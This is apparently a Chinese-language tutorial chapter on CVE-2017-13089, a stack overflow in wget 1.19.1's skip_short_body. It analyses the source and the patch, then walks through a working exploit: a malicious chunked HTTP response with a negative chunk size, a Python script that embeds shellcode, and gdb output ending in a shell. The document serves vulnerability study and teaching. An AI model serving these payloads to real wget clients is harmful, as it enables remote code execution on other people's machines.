# 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞 - [漏洞描述](#漏洞描述) - [漏洞复现](#漏洞复现) - [漏洞分析](#漏洞分析) - [Exploit](#exploit) - [参考资料](#参考资料) [下载文件](../src/exploit/7.1.4_wget_2017-13089) ## 漏洞描述 wget 是一个从网络上自动下载文件的工具，支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。 在处理例如重定向的情况时，wget 会调用到 `skip_short_body()` 函数，函数中会对分块编码的数据调用 `strtol()` 函数读取每个块的长度，但在版本 1.19.2 之前，没有对这个长度进行必要的检查，例如其是否为负数。然后 wget 通过使用 `MIN()` 宏跳过块的 512 个字节，将负数传递给了函数 `fd_read()`。由于 `fd_read()` 接收的参数类型为 `int`，所以块长度的高 32 位会被丢弃，使得攻击者可以控制传递给 `fd_read()` 的参数。 ## 漏洞复现 | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构：64 位 | | 调试器 | gdb-peda | 版本号：7.11.1 | | 漏洞软件 | wget | 版本号：1.19.1 | 首先编译安装 wget-1.19.1： ``` $ sudo apt-get install libneon27-gnutls-dev $ wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz $ tar zxvf wget-1.19.1.tar.gz $ cd wget-1.19.1 $ ./configure $ make && sudo make install $ wget -V | head -n1 GNU Wget 1.19.1 built on linux-gnu. ``` 引发崩溃的 payload 如下： ``` HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFFD00 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0 ``` stack smashing 现场： ``` $ nc -lp 6666 < payload & wget --debug localhost:6666 [1] 4291 DEBUG output created by Wget 1.19.1 on linux-gnu. Reading HSTS entries from /home/firmy/.wget-hsts Converted file name 'index.html' (UTF-8) -> 'index.html' (UTF-8) --2018-01-30 11:42:32-- http://localhost:6666/ Resolving localhost... 127.0.0.1 Caching localhost => 127.0.0.1 Connecting to localhost|127.0.0.1|:6666... connected. Created socket 4. Releasing 0x00000000012f51b0 (new refcount 1). ---request begin--- GET / HTTP/1.1 User-Agent: Wget/1.19.1 (linux-gnu) Accept: */* Accept-Encoding: identity Host: localhost:6666 Connection: Keep-Alive ---request end--- GET / HTTP/1.1 User-Agent: Wget/1.19.1 (linux-gnu) Accept: */* Accept-Encoding: identity Host: localhost:6666 Connection: Keep-Alive HTTP request sent, awaiting response... ---response begin--- HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive ---response end--- 401 Not Authorized Registered socket 4 for persistent reuse. Skipping -4294966528 bytes of body: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASkipping -4294967296 bytes of body: [] aborting (EOF received). *** stack smashing detected ***: wget terminated [1]+ Done nc -lp 6666 < payload Aborted (core dumped) ``` ## 漏洞分析 关键函数 `skip_short_body()`： ```c // src/http.c static bool skip_short_body (int fd, wgint contlen, bool chunked) { enum { SKIP_SIZE = 512, /* size of the download buffer */ SKIP_THRESHOLD = 4096 /* the largest size we read */ }; wgint remaining_chunk_size = 0; char dlbuf[SKIP_SIZE + 1]; dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */ /* If the body is too large, it makes more sense to simply close the connection than to try to read the body. */ if (contlen > SKIP_THRESHOLD) return false; while (contlen > 0 || chunked) { int ret; if (chunked) { if (remaining_chunk_size == 0) { char *line = fd_read_line (fd); char *endl; if (line == NULL) break; remaining_chunk_size = strtol (line, &endl, 16); // 未检查remaining_chunk_size是否为负 xfree (line); if (remaining_chunk_size == 0) { line = fd_read_line (fd); xfree (line); break; } } contlen = MIN (remaining_chunk_size, SKIP_SIZE); // contlen 为可控变量 } DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen))); ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1); // 引发溢出 if (ret <= 0) { /* Don't normally report the error since this is an optimization that should be invisible to the user. */ DEBUGP (("] aborting (%s).\n", ret < 0 ? fd_errstr (fd) : "EOF received")); return false; } contlen -= ret; if (chunked) { remaining_chunk_size -= ret; if (remaining_chunk_size == 0) { char *line = fd_read_line (fd); if (line == NULL) return false; else xfree (line); } } /* Safe even if %.*s bogusly expects terminating \0 because we've zero-terminated dlbuf above. */ DEBUGP (("%.*s", ret, dlbuf)); } DEBUGP (("] done.\n")); return true; } ``` 一般是这样调用的： ```c if (keep_alive && !head_only && skip_short_body (sock, contlen, chunked_transfer_encoding)) CLOSE_FINISH (sock); ``` 所以要想进入到漏洞代码，只需要 `contlen` 的长度不大于 4096 且使用了分块编码 `chunked_transfer_encoding`。对于参数 `chunked_transfer_encoding` 的设置在函数 `gethttp()` 中： ```c // src/http.c chunked_transfer_encoding = false; if (resp_header_copy (resp, "Transfer-Encoding", hdrval, sizeof (hdrval)) && 0 == c_strcasecmp (hdrval, "chunked")) chunked_transfer_encoding = true; ``` 而 `contlen` 的赋值为 `contlen = MIN (remaining_chunk_size, SKIP_SIZE);`，`MIN()` 宏函数定义如下，用于获得两个值中小的那一个： ```c // src/wget.h # define MIN(i, j) ((i) <= (j) ? (i) : (j)) ``` 当 `remaining_chunk_size` 为负值时，同样满足小于 `SKIP_SIZE`，所以 `contlen` 实际上是可控的。 随后进入 `fd_read()` 函数，从 fd 读取 bufsize 个字节到 buf 中，于是引起缓冲区溢出： ```c //src/connect.c /* Read no more than BUFSIZE bytes of data from FD, storing them to BUF. If TIMEOUT is non-zero, the operation aborts if no data is received after that many seconds. If TIMEOUT is -1, the value of opt.timeout is used for TIMEOUT. */ int fd_read (int fd, char *buf, int bufsize, double timeout) { struct transport_info *info; LAZY_RETRIEVE_INFO (info); if (!poll_internal (fd, info, WAIT_FOR_READ, timeout)) return -1; if (info && info->imp->reader) return info->imp->reader (fd, buf, bufsize, info->ctx); else return sock_read (fd, buf, bufsize); } ``` #### 补丁 ```diff $ git show d892291fb8ace4c3b734ea5125770989c215df3f | cat commit d892291fb8ace4c3b734ea5125770989c215df3f Author: Tim Rühsen Date: Fri Oct 20 10:59:38 2017 +0200 Fix stack overflow in HTTP protocol handling (CVE-2017-13089) * src/http.c (skip_short_body): Return error on negative chunk size Reported-by: Antti Levomäki, Christian Jalio, Joonas Pihlaja from Forcepoint Reported-by: Juhani Eronen from Finnish National Cyber Security Centre diff --git a/src/http.c b/src/http.c index 5536768..dc31823 100644 --- a/src/http.c +++ b/src/http.c @@ -973,6 +973,9 @@ skip_short_body (int fd, wgint contlen, bool chunked) remaining_chunk_size = strtol (line, &endl, 16); xfree (line); + if (remaining_chunk_size < 0) + return false; + if (remaining_chunk_size == 0) { line = fd_read_line (fd); ``` 补丁也很简单，就是对 `remaining_chunk_size` 是否为负值进行了判断。 ## Exploit 在这里我们做一点有趣的事情。先修改一下配置文件 `configure.ac`，把堆栈保护技术都关掉，也就是加上下面所示的这几行： ``` $ cat configure.ac | grep -A4 stack dnl Disable stack canaries CFLAGS="-fno-stack-protector $CFLAGS" dnl Disable No-eXecute CFLAGS="-z execstack $CFLAGS" dnl dnl Create output dnl ``` 然后编译安装，结果如下： ``` $ sudo apt-get install automake $ make && sudo make install $ pwn checksec /usr/local/bin/wget [*] '/usr/local/bin/wget' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments ``` 好了，接下来可以搞事情了。为了方便确认栈溢出的地址，把前面 payload 的 body 部分用 pattern 替代掉： ``` $ cat payload HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFFD00 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs 0 $ nc -lp 6666 < payload ``` 在另一个 shell 里启动 gdb 调试 wget： ``` gdb-peda$ r localhost:6666 gdb-peda$ pattern_offset $ebp 1933668723 found at offset: 560 gdb-peda$ searchmem AAA%AAsA Searching for 'AAA%AAsA' in: None ranges Found 2 results, display max 2 items: [heap] : 0x6aad83 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...) [stack] : 0x7fffffffcf40 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...) ``` 所以 rsp 的地址位于栈偏移 `568` 的地方。而栈地址位于 `0x7fffffffcf40`。 构造 exp 来生成 paylaod： ```py payload = """HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFFD00 """ shellcode = "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05" shellcode += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2" shellcode += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" shellcode += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76" shellcode += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53" shellcode += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda" shellcode += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b" payload += shellcode + (568-len(shellcode)) * "A" payload += "\x40\xcf\xff\xff\xff\x7f\x00\x00" payload += "\n0\n" with open('ppp','wb') as f: f.write(payload) ``` ``` $ python exp.py $ nc -lp 6666 < ppp ``` 继续使用 gdb 来跟踪。经过 `strtol()` 函数返回的 `remaining_chunk_size` 为 `0xffffffff00000300`： ``` gdb-peda$ n [----------------------------------registers-----------------------------------] RAX: 0xffffffff00000300 RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP') RCX: 0xffffffda RDX: 0x1 RSI: 0xfffffd00 RDI: 0x6aafab --> 0xfae98148c931000a RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 --> 0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>: push r15) RSP: 0x7fffffffcf20 --> 0xffffffffffffffff RIP: 0x41ef0f (: mov QWORD PTR [rbp-0x8],rax) R8 : 0x0 R9 : 0xfffffffffffffff R10: 0x0 R11: 0x7ffff74045e0 --> 0x2000200020002 R12: 0x404ca0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdcb0 --> 0x2 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x41ef04 : mov rsi,rcx 0x41ef07 : mov rdi,rax 0x41ef0a : call 0x404660 => 0x41ef0f : mov QWORD PTR [rbp-0x8],rax 0x41ef13 : mov rax,QWORD PTR [rbp-0x10] 0x41ef17 : mov rdi,rax 0x41ef1a : call 0x404380 0x41ef1f : mov QWORD PTR [rbp-0x10],0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffcf20 --> 0xffffffffffffffff 0008| 0x7fffffffcf28 --> 0x4ffffcf01 0016| 0x7fffffffcf30 --> 0x13 0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98148c931000a 0032| 0x7fffffffcf40 --> 0xffffffff00000028 0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887 0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n") 0056| 0x7fffffffcf58 --> 0x13 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x000000000041ef0f in skip_short_body () ``` 继续调试，到达函数 `fd_read()`，可以看到由于强制类型转换的原因其参数只取出了 `0xffffffff00000300` 的低 4 个字节 `0x300`，所以该函数将读入 `0x300` 个字节的数据到栈地址 `0x7fffffffcf40` 中： ``` gdb-peda$ n [----------------------------------registers-----------------------------------] RAX: 0x4 RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP') RCX: 0x7fffffffcf40 --> 0xffffffff00000028 RDX: 0x300 RSI: 0x7fffffffcf40 --> 0xffffffff00000028 RDI: 0x4 RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 --> 0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>: push r15) RSP: 0x7fffffffcf20 --> 0xffffffff00000300 RIP: 0x41efd6 (: call 0x4062c5 ) R8 : 0x0 R9 : 0x1 R10: 0x0 R11: 0x7ffff74045e0 --> 0x2000200020002 R12: 0x404ca0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdcb0 --> 0x2 R14: 0x0 R15: 0x0 EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x41efc9 : movsd xmm0,QWORD PTR [rip+0x4aa6f] # 0x469a40 0x41efd1 : mov rsi,rcx 0x41efd4 : mov edi,eax => 0x41efd6 : call 0x4062c5 0x41efdb : mov DWORD PTR [rbp-0x14],eax 0x41efde : cmp DWORD PTR [rbp-0x14],0x0 0x41efe2 : jg 0x41f029 0x41efe4 : movzx eax,BYTE PTR [rip+0x269bf0] # 0x688bdb Guessed arguments: arg[0]: 0x4 arg[1]: 0x7fffffffcf40 --> 0xffffffff00000028 arg[2]: 0x300 arg[3]: 0x7fffffffcf40 --> 0xffffffff00000028 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffcf20 --> 0xffffffff00000300 0008| 0x7fffffffcf28 --> 0x4ffffcf01 0016| 0x7fffffffcf30 --> 0x13 0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98100007ffff7 0032| 0x7fffffffcf40 --> 0xffffffff00000028 0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887 0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n") 0056| 0x7fffffffcf58 --> 0x13 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x000000000041efd6 in skip_short_body () ``` 成功跳转到 shellcode，获得 shell： ``` gdb-peda$ n [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP') RCX: 0x7ffff7384260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x200 RSI: 0x7fffffffcf40 --> 0xfffae98148c93148 RDI: 0x4 RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148 RIP: 0x41f0ed (: ret) R8 : 0x7fffffffcdb0 --> 0x383 R9 : 0x1 R10: 0x0 R11: 0x246 R12: 0x404ca0 (<_start>: xor ebp,ebp) R13: 0x7fffffffdcb0 --> 0x2 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x41f0e2 : call 0x42a0f5 0x41f0e7 : mov eax,0x1 0x41f0ec : leave => 0x41f0ed : ret 0x41f0ee : push rbp 0x41f0ef : mov rbp,rsp 0x41f0f2 : sub rsp,0x30 0x41f0f6 : mov QWORD PTR [rbp-0x28],rdi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148 0008| 0x7fffffffd180 --> 0xa300a ('\n0\n') 0016| 0x7fffffffd188 --> 0x0 0024| 0x7fffffffd190 --> 0x7fffffffdad4 --> 0x0 0032| 0x7fffffffd198 --> 0x7fffffffd780 --> 0x0 0040| 0x7fffffffd1a0 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/") 0048| 0x7fffffffd1a8 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/") 0056| 0x7fffffffd1b0 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x000000000041f0ed in skip_short_body () gdb-peda$ x/20gx 0x7fffffffcf40 0x7fffffffcf40: 0xfffae98148c93148 0xffffef058d48ffff <-- shellcode 0x7fffffffcf50: 0x1e60cbb5c5bb48ff 0x48275831481bb2ba 0x7fffffffcf60: 0xaff4e2fffffff82d 0xac799d0156f9938e 0x7fffffffcf70: 0x4c53e1ba7613e4db 0x4c53b2ba7d4da352 0x7fffffffcf80: 0xea1bb2ba16889953 0x931bdac9310ea2d7 0x7fffffffcf90: 0x411bb7b5f8e983e2 0x4141414141414141 0x7fffffffcfa0: 0x4141414141414141 0x4141414141414141 0x7fffffffcfb0: 0x4141414141414141 0x4141414141414141 0x7fffffffcfc0: 0x4141414141414141 0x4141414141414141 0x7fffffffcfd0: 0x4141414141414141 0x4141414141414141 ``` Bingo!!! ``` Starting program: /usr/local/bin/wget localhost:6666 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". --2018-01-30 15:40:49-- http://localhost:6666/ Resolving localhost... 127.0.0.1 Connecting to localhost|127.0.0.1|:6666... connected. HTTP request sent, awaiting response... 401 Not Authorized process 20613 is executing new program: /bin/dash [New process 20617] process 20617 is executing new program: /bin/dash $ whoami [New process 20618] process 20618 is executing new program: /usr/bin/whoami firmy $ [Inferior 3 (process 20618) exited normally] Warning: not running or target is remote ``` ## 参考资料 - [CVE-2017-13089 Detail](https://nvd.nist.gov/vuln/detail/CVE-2017-13089) - https://github.com/r1b/CVE-2017-13089